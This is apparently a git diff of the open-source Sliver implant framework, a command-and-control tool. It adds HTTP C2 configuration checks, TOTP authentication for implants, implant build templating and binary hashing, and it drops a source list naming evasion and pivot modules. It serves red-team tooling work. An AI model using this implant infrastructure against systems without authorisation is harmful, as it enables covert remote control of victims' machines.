allExtensions := map[string]bool{}
|
||||
extensions := []string{
|
||||
config.StagerFileExt,
|
||||
config.KeyExchangeFileExt,
|
||||
config.PollFileExt,
|
||||
config.StartSessionFileExt,
|
||||
config.SessionFileExt,
|
||||
config.CloseFileExt,
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if _, ok := allExtensions[ext]; ok {
|
||||
return ErrNonuniqueFileExt
|
||||
}
|
||||
allExtensions[ext] = true
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package configs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
var (
|
||||
fileExtCoercions = map[string]string{
|
||||
"js": "js",
|
||||
".js": "js",
|
||||
"/.js": "js",
|
||||
"/.es6": "es6",
|
||||
".mp4": "mp4",
|
||||
}
|
||||
)
|
||||
|
||||
func TestCoerceFileExt(t *testing.T) {
|
||||
for input, output := range fileExtCoercions {
|
||||
if value := coerceFileExt(input); value != output {
|
||||
t.Fatalf("'%s' was parsed as '%s', expected '%s'", input, value, output)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultConfig(t *testing.T) {
|
||||
data, err := json.Marshal(defaultHTTPC2Config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var config *HTTPC2Config
|
||||
err = json.Unmarshal(data, &config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
err = CheckHTTPC2Config(config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPollConfig(t *testing.T) {
|
||||
|
||||
// Missing PollFileExt
|
||||
config := defaultHTTPC2Config
|
||||
origPollFileExt := config.ImplantConfig.PollFileExt
|
||||
for _, ext := range []string{"", ".", "..."} {
|
||||
config.ImplantConfig.PollFileExt = ext
|
||||
err := CheckHTTPC2Config(&config)
|
||||
if err != ErrMissingPollFileExt {
|
||||
t.Fatalf("Parsed '%s' as not missing (%s)", ext, config.ImplantConfig.PollFileExt)
|
||||
}
|
||||
}
|
||||
config.ImplantConfig.PollFileExt = origPollFileExt
|
||||
|
||||
// Missing PollFiles
|
||||
emptyPollFiles := [][]string{
|
||||
{},
|
||||
{""},
|
||||
{"/"},
|
||||
{"", "", ""},
|
||||
{"/", "/", "/"},
|
||||
}
|
||||
origPollFiles := config.ImplantConfig.PollFiles
|
||||
for _, empty := range emptyPollFiles {
|
||||
config.ImplantConfig.PollFiles = empty
|
||||
err := CheckHTTPC2Config(&config)
|
||||
if err != ErrTooFewPollFiles {
|
||||
t.Fatalf("Expected too few poll files from %v got %v", empty, err)
|
||||
}
|
||||
}
|
||||
config.ImplantConfig.PollFiles = origPollFiles
|
||||
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package console
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"encoding/pem"
|
||||
"testing"
|
||||
|
||||
clienttransport "github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
)
|
||||
|
||||
func TestRootOnlyVerifyCertificate(t *testing.T) {
|
||||
certs.SetupCAs()
|
||||
|
||||
data, err := NewPlayerConfig("zerocool", "localhost", uint16(1337))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to generate test player profile %s", err)
|
||||
}
|
||||
config := &ClientConfig{}
|
||||
err = json.Unmarshal(data, config)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to parse client config %s", err)
|
||||
}
|
||||
|
||||
_, _, err = certs.OperatorServerGetCertificate("localhost")
|
||||
if err == certs.ErrCertDoesNotExist {
|
||||
certs.OperatorServerGenerateCertificate("localhost")
|
||||
}
|
||||
|
||||
// Test with a valid certificate
|
||||
certPEM, _, _ := certs.OperatorServerGetCertificate("localhost")
|
||||
block, _ := pem.Decode(certPEM)
|
||||
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
|
||||
if err != nil {
|
||||
t.Fatalf("root only verify certificate error: %s", err)
|
||||
}
|
||||
|
||||
// Test with wrong CA
|
||||
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
|
||||
block, _ = pem.Decode(wrongCert)
|
||||
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
|
||||
if err == nil {
|
||||
t.Fatal("root only verify cert verified a certificate with invalid ca!")
|
||||
}
|
||||
|
||||
}
|
||||
@@ -36,7 +36,7 @@ var (
|
||||
sessions: map[uint32]*Session{},
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
hiveID = uint32(0)
|
||||
rollingSessionID = uint32(0)
|
||||
|
||||
// ErrUnknownMessageType - Returned if the implant did not understand the message for
|
||||
// example when the command is not supported on the platform
|
||||
@@ -212,8 +212,8 @@ func (s *sessions) Remove(sessionID uint32) {
|
||||
|
||||
// NextSessionID - Returns an incremental nonce as an id
|
||||
func NextSessionID() uint32 {
|
||||
newID := hiveID + 1
|
||||
hiveID++
|
||||
newID := rollingSessionID + 1
|
||||
rollingSessionID++
|
||||
return newID
|
||||
}
|
||||
|
||||
|
||||
@@ -30,6 +30,14 @@ import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -38,11 +46,15 @@ const (
|
||||
|
||||
// GCMNonceSize - 96 bit nonces for GCM
|
||||
GCMNonceSize = 12
|
||||
|
||||
// TOTPDigits - Number of digits in the TOTP
|
||||
TOTPDigits = 8
|
||||
TOTPPeriod = uint(30)
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrInvalidKeyLength - Invalid key length
|
||||
ErrInvalidKeyLength = errors.New("Invalid length")
|
||||
ErrInvalidKeyLength = errors.New("invalid length")
|
||||
)
|
||||
|
||||
// AESKey - 256 bit key
|
||||
@@ -136,3 +148,56 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
// TOTPOptions - Customized totp validation options
|
||||
func TOTPOptions() totp.ValidateOpts {
|
||||
return totp.ValidateOpts{
|
||||
Digits: TOTPDigits,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: TOTPPeriod,
|
||||
Skew: uint(1),
|
||||
}
|
||||
}
|
||||
|
||||
// TOTPServerSecret - Get the server-wide totp secret value, the goal of the totp
|
||||
// is for the implant to prove it was generated by this server. To that end we simply
|
||||
// use a server-wide secret and ignore issuers/accounts. In order to bypass this check
|
||||
// you'd have to extract the totp secret from a binary generated by the server.
|
||||
func TOTPServerSecret() (string, error) {
|
||||
totpSecretPath := path.Join(assets.GetRootAppDir(), "totp")
|
||||
if _, err := os.Stat(totpSecretPath); os.IsNotExist(err) {
|
||||
return totpGenerateSecret(totpSecretPath)
|
||||
} else {
|
||||
data, err := ioutil.ReadFile(totpSecretPath)
|
||||
return string(data), err
|
||||
}
|
||||
}
|
||||
|
||||
// ValidateTOTP - Validate a TOTP code
|
||||
func ValidateTOTP(code string) (bool, error) {
|
||||
secret, err := TOTPServerSecret()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
valid, err := totp.ValidateCustom(code, secret, time.Now().UTC(), TOTPOptions())
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return valid, nil
|
||||
}
|
||||
|
||||
func totpGenerateSecret(saveTo string) (string, error) {
|
||||
otpSecret, err := totp.Generate(totp.GenerateOpts{
|
||||
Issuer: "foo",
|
||||
AccountName: "bar",
|
||||
Digits: TOTPDigits,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: TOTPPeriod,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
secret := otpSecret.Secret()
|
||||
err = ioutil.WriteFile(saveTo, []byte(secret), 0600)
|
||||
return secret, err
|
||||
}
|
||||
@@ -34,6 +34,18 @@ var (
|
||||
ErrRecordNotFound = gorm.ErrRecordNotFound
|
||||
)
|
||||
|
||||
// ImplantConfigByID - Fetch implant build by name
|
||||
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
|
||||
config := models.ImplantConfig{}
|
||||
err := Session().Where(&models.ImplantConfig{
|
||||
ID: uuid.FromStringOrNil(id),
|
||||
}).First(&config).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &config, err
|
||||
}
|
||||
|
||||
// ImplantBuilds - Return all implant builds
|
||||
func ImplantBuilds() ([]*models.ImplantBuild, error) {
|
||||
builds := []*models.ImplantBuild{}
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package models
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
|
||||
@@ -34,8 +34,12 @@ type ImplantBuild struct {
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
|
||||
Name string `gorm:"unique;"`
|
||||
// Checksum stores the MD5 sum of an implant binary
|
||||
Checksum string
|
||||
|
||||
// Checksums stores of the implant binary
|
||||
MD5 string
|
||||
SHA1 string
|
||||
SHA256 string
|
||||
|
||||
// Burned indicates whether the implant
|
||||
// has been seen on threat intel platforms
|
||||
Burned bool
|
||||
@@ -68,7 +72,6 @@ type ImplantConfig struct {
|
||||
GOARCH string
|
||||
|
||||
// Standard
|
||||
// Name string
|
||||
CACert string
|
||||
Cert string
|
||||
Key string
|
||||
@@ -78,6 +81,7 @@ type ImplantConfig struct {
|
||||
ReconnectInterval uint32
|
||||
PollInterval uint32
|
||||
MaxConnectionErrors uint32
|
||||
ConnectionStrategy string
|
||||
|
||||
WGImplantPrivKey string
|
||||
WGServerPubKey string
|
||||
@@ -127,6 +131,8 @@ func (ic *ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
// ToProtobuf - Convert ImplantConfig to protobuf equiv
|
||||
func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
config := &clientpb.ImplantConfig{
|
||||
ID: ic.ID.String(),
|
||||
|
||||
GOOS: ic.GOOS,
|
||||
GOARCH: ic.GOARCH,
|
||||
|
||||
@@ -140,6 +146,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
ReconnectInterval: ic.ReconnectInterval,
|
||||
PollInterval: ic.PollInterval,
|
||||
MaxConnectionErrors: ic.MaxConnectionErrors,
|
||||
ConnectionStrategy: ic.ConnectionStrategy,
|
||||
|
||||
LimitDatetime: ic.LimitDatetime,
|
||||
LimitDomainJoined: ic.LimitDomainJoined,
|
||||
|
||||
+65
-81
@@ -21,11 +21,11 @@ package generate
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -35,6 +35,8 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/gogo"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
@@ -480,6 +482,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
config.Cert = string(sliverCert)
|
||||
config.Key = string(sliverKey)
|
||||
|
||||
otpSecret, err := cryptography.TOTPServerSecret()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Generate wg Keys as needed
|
||||
if config.WGc2Enabled {
|
||||
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
|
||||
@@ -492,6 +499,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
config.WGServerPubKey = serverPubKey
|
||||
}
|
||||
|
||||
err = ImplantConfigSave(config)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// binDir - ~/.sliver/slivers/<os>/<arch>/<name>/bin
|
||||
binDir := path.Join(projectGoPathDir, "bin")
|
||||
os.MkdirAll(binDir, 0700)
|
||||
@@ -511,106 +523,74 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
return "", nil
|
||||
}
|
||||
|
||||
// Load code template
|
||||
renderFiles := srcFiles
|
||||
_, isSupportedTarget := SupportedCompilerTargets[fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH)]
|
||||
if !isSupportedTarget {
|
||||
buildLog.Warnf("Unsupported compiler target, using generic src files ...")
|
||||
renderFiles = genericSrcFiles
|
||||
}
|
||||
for index, boxName := range renderFiles {
|
||||
|
||||
// Gobfuscate doesn't handle all the platform specific code
|
||||
// well and the renamer can get confused when symbols for a
|
||||
// different OS don't show up. So we just filter out anything
|
||||
// we're not actually going to compile into the final binary
|
||||
suffix := ".go"
|
||||
if strings.Contains(boxName, "_") {
|
||||
fileNameParts := strings.Split(boxName, "_")
|
||||
suffix = "_" + fileNameParts[len(fileNameParts)-1]
|
||||
|
||||
// Test files get skipped
|
||||
if strings.HasSuffix(boxName, "_test.go") {
|
||||
buildLog.Infof("Skipping (test): %s", boxName)
|
||||
continue
|
||||
}
|
||||
|
||||
// We only include "_default.go" files for "unsupported" platforms i.e., not windows/darwin/linux
|
||||
if suffix == DefaultSuffix && isSupportedTarget {
|
||||
buildLog.Infof("Skipping default file (target is supported): %s", boxName)
|
||||
continue
|
||||
}
|
||||
|
||||
// Only include code for our target goos/goarch
|
||||
if isSupportedTarget {
|
||||
osSuffix := fmt.Sprintf("_%s.go", strings.ToLower(config.GOOS))
|
||||
archSuffix := fmt.Sprintf("_%s.go", strings.ToLower(config.GOARCH))
|
||||
if !strings.HasSuffix(boxName, osSuffix) && !strings.HasSuffix(boxName, archSuffix) {
|
||||
buildLog.Infof("Skipping file wrong os/arch: %s", boxName)
|
||||
continue
|
||||
}
|
||||
}
|
||||
err = fs.WalkDir(implant.FS, ".", func(fsPath string, f fs.DirEntry, err error) error {
|
||||
if f.IsDir() {
|
||||
return nil
|
||||
}
|
||||
buildLog.Debugf("Walking: %s %s %v", fsPath, f.Name(), err)
|
||||
|
||||
sliverGoCodeRaw, err := implant.FS.ReadFile(path.Join("sliver", boxName))
|
||||
sliverGoCodeRaw, err := implant.FS.ReadFile(fsPath)
|
||||
if err != nil {
|
||||
buildLog.Warnf("Failed to read %s: %s", boxName, err)
|
||||
continue
|
||||
buildLog.Errorf("Failed to read %s: %s", fsPath, err)
|
||||
return nil
|
||||
}
|
||||
sliverGoCode := string(sliverGoCodeRaw)
|
||||
|
||||
// We need to correct for the "github.com/bishopfox/sliver/implant/sliver/foo" imports,
|
||||
// since Go doesn't allow relative imports and "sliver" is a subdirectory of
|
||||
// the main "sliver" repo we need to fake this when copying the code
|
||||
// to our per-compile "GOPATH"
|
||||
var sliverCodePath string
|
||||
dirName := filepath.Dir(boxName)
|
||||
var fileName string
|
||||
// Skip dllmain files for anything non windows
|
||||
if boxName == "sliver.h" || boxName == "sliver.c" {
|
||||
if f.Name() == "sliver.c" || f.Name() == "sliver.h" {
|
||||
if !config.IsSharedLib && !config.IsShellcode {
|
||||
continue
|
||||
return nil
|
||||
}
|
||||
}
|
||||
if config.Debug || strings.HasSuffix(boxName, ".c") || strings.HasSuffix(boxName, ".h") {
|
||||
fileName = filepath.Base(boxName)
|
||||
} else {
|
||||
fileName = fmt.Sprintf("s%d%s", index, suffix)
|
||||
}
|
||||
if dirName != "." {
|
||||
// Add an extra "sliver" dir
|
||||
dirPath := path.Join(sliverPkgDir, "implant", "sliver", dirName)
|
||||
if _, err := os.Stat(dirPath); os.IsNotExist(err) {
|
||||
buildLog.Infof("[mkdir] %#v", dirPath)
|
||||
err = os.MkdirAll(dirPath, 0700)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
sliverCodePath = path.Join(dirPath, fileName)
|
||||
} else {
|
||||
sliverCodePath = path.Join(sliverPkgDir, fileName)
|
||||
}
|
||||
|
||||
var sliverCodePath string
|
||||
if f.Name() == "sliver.go" || f.Name() == "sliver.c" || f.Name() == "sliver.h" {
|
||||
sliverCodePath = path.Join(sliverPkgDir, f.Name())
|
||||
} else {
|
||||
sliverCodePath = path.Join(sliverPkgDir, "implant", fsPath)
|
||||
}
|
||||
dirPath := path.Dir(sliverCodePath)
|
||||
if _, err := os.Stat(dirPath); os.IsNotExist(err) {
|
||||
buildLog.Infof("[mkdir] %#v", dirPath)
|
||||
err = os.MkdirAll(dirPath, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
fSliver, err := os.Create(sliverCodePath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
return err
|
||||
}
|
||||
buf := bytes.NewBuffer([]byte{})
|
||||
buildLog.Infof("[render] %s -> %s", boxName, sliverCodePath)
|
||||
buildLog.Infof("[render] %s -> %s", f.Name(), sliverCodePath)
|
||||
|
||||
// Render code
|
||||
sliverCodeTmpl := template.Must(template.New("sliver").Parse(sliverGoCode))
|
||||
// --------------
|
||||
// Render Code
|
||||
// --------------
|
||||
sliverCodeTmpl := template.New("sliver")
|
||||
sliverCodeTmpl, err = sliverCodeTmpl.Funcs(template.FuncMap{
|
||||
"GenerateUserAgent": func() string {
|
||||
return configs.GetHTTPC2Config().GenerateUserAgent(config.GOOS, config.GOARCH)
|
||||
},
|
||||
}).Parse(sliverGoCode)
|
||||
if err != nil {
|
||||
buildLog.Errorf("Template parsing error %s", err)
|
||||
return err
|
||||
}
|
||||
err = sliverCodeTmpl.Execute(buf, struct {
|
||||
Name string
|
||||
Config *models.ImplantConfig
|
||||
Name string
|
||||
Config *models.ImplantConfig
|
||||
OTPSecret string
|
||||
HTTPC2ImplantConfig *configs.HTTPC2ImplantConfig
|
||||
}{
|
||||
name,
|
||||
config,
|
||||
otpSecret,
|
||||
configs.GetHTTPC2Config().RandomImplantConfig(),
|
||||
})
|
||||
if err != nil {
|
||||
buildLog.Error(err)
|
||||
return "", err
|
||||
buildLog.Errorf("Template execution error %s", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// Render canaries
|
||||
@@ -624,14 +604,18 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
"GenerateCanary": canaryGenerator.GenerateCanary,
|
||||
}).Parse(buf.String())
|
||||
if err != nil {
|
||||
return "", err
|
||||
return err
|
||||
}
|
||||
err = canaryTmpl.Execute(fSliver, canaryGenerator)
|
||||
|
||||
if err != nil {
|
||||
buildLog.Infof("Failed to render go code: %s", err)
|
||||
return "", err
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Render GoMod
|
||||
|
||||
@@ -140,7 +140,7 @@ func mtlsExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("mtls_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -159,7 +159,7 @@ func dnsExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("dns_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -182,7 +182,7 @@ func httpExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("http_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -209,7 +209,7 @@ func multiExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("multi_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -235,7 +235,7 @@ func multiWindowsService(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("service_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -258,7 +258,7 @@ func tcpPivotExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("tcpPivot_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -281,7 +281,7 @@ func namedPipeExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("namedpipe_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -310,7 +310,7 @@ func wireguardExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
certs.SetupWGKeys()
|
||||
_, err := SliverExecutable(fmt.Sprintf("wireguard_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -342,7 +342,7 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
|
||||
nonce++
|
||||
_, err := SliverSharedLibrary(fmt.Sprintf("multilibrary_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -365,6 +365,6 @@ func symbolObfuscation(t *testing.T, goos string, goarch string) {
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("symbol_test%d", nonce), config)
|
||||
if err != nil {
|
||||
t.Errorf(fmt.Sprintf("%v", err))
|
||||
t.Fatalf(fmt.Sprintf("%v", err))
|
||||
}
|
||||
}
|
||||
@@ -6,7 +6,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/binject/go-donut/donut"
|
||||
"github.com/Binject/go-donut/donut"
|
||||
)
|
||||
|
||||
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
|
||||
|
||||
@@ -20,6 +20,8 @@ package generate
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -34,6 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/watchtower"
|
||||
"gorm.io/gorm/clause"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -55,6 +58,18 @@ func getBuildsDir() (string, error) {
|
||||
return buildsDir, nil
|
||||
}
|
||||
|
||||
// ImplantConfigSave - Save only the config to the database
|
||||
func ImplantConfigSave(config *models.ImplantConfig) error {
|
||||
dbSession := db.Session()
|
||||
result := dbSession.Clauses(clause.OnConflict{
|
||||
UpdateAll: true,
|
||||
}).Create(&config)
|
||||
if result.Error != nil {
|
||||
return result.Error
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ImplantBuildSave - Saves a binary file into the database
|
||||
func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) error {
|
||||
rootAppDir, _ := filepath.Abs(assets.GetRootAppDir())
|
||||
@@ -67,8 +82,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
sum := md5.Sum(data)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
md5Hash, sha1Hash, sha256Hash := computeHashes(data)
|
||||
buildsDir, err := getBuildsDir()
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -77,7 +91,9 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
implantBuild := &models.ImplantBuild{
|
||||
Name: name,
|
||||
ImplantConfig: (*config),
|
||||
Checksum: hash,
|
||||
MD5: md5Hash,
|
||||
SHA1: sha1Hash,
|
||||
SHA256: sha256Hash,
|
||||
}
|
||||
watchtower.AddImplantToWatchlist(implantBuild)
|
||||
result := dbSession.Create(&implantBuild)
|
||||
@@ -88,6 +104,16 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
return ioutil.WriteFile(path.Join(buildsDir, implantBuild.ID.String()), data, 0600)
|
||||
}
|
||||
|
||||
func computeHashes(data []byte) (string, string, string) {
|
||||
md5Sum := md5.Sum(data)
|
||||
md5Hash := hex.EncodeToString(md5Sum[:])
|
||||
sha1Sum := sha1.Sum(data)
|
||||
sha1Hash := hex.EncodeToString(sha1Sum[:])
|
||||
sha256Sum := sha256.Sum256(data)
|
||||
sha256Hash := hex.EncodeToString(sha256Sum[:])
|
||||
return md5Hash, sha1Hash, sha256Hash
|
||||
}
|
||||
|
||||
// ImplantFileFromBuild - Saves a binary file into the database
|
||||
func ImplantFileFromBuild(build *models.ImplantBuild) ([]byte, error) {
|
||||
buildsDir, err := getBuildsDir()
|
||||
|
||||
@@ -1,215 +0,0 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// These files get rendered as part of the build process.
|
||||
|
||||
// If you add a file to `implant/sliver/` it won't be automatically included
|
||||
// as part of the build by the server, you have to add it here.
|
||||
|
||||
var (
|
||||
srcFiles = []string{
|
||||
"constants/constants.go",
|
||||
|
||||
"encoders/base64.go",
|
||||
"encoders/combos.go",
|
||||
"encoders/encoders.go",
|
||||
"encoders/english-words.go",
|
||||
"encoders/english.go",
|
||||
"encoders/gzip.go",
|
||||
"encoders/hex.go",
|
||||
"encoders/images.go",
|
||||
|
||||
"evasion/evasion.go",
|
||||
"evasion/evasion_darwin.go",
|
||||
"evasion/evasion_linux.go",
|
||||
"evasion/evasion_windows.go",
|
||||
|
||||
"extension/extension.go",
|
||||
"extension/extension_windows.go",
|
||||
|
||||
"forwarder/forwarder.go",
|
||||
"forwarder/socks.go",
|
||||
"forwarder/portforward.go",
|
||||
|
||||
// C files for DLL
|
||||
"sliver.h",
|
||||
"sliver.c",
|
||||
|
||||
"handlers/rpc-handlers.go",
|
||||
"handlers/tun-handlers.go",
|
||||
"handlers/pivot-handlers.go",
|
||||
"handlers/special-handlers.go",
|
||||
"handlers/handlers_darwin.go",
|
||||
"handlers/handlers_linux.go",
|
||||
"handlers/handlers_windows.go",
|
||||
"handlers/handlers.go",
|
||||
|
||||
"hostuuid/uuid.go",
|
||||
"hostuuid/uuid_windows.go",
|
||||
"hostuuid/uuid_darwin.go",
|
||||
"hostuuid/uuid_linux.go",
|
||||
|
||||
"limits/limits.go",
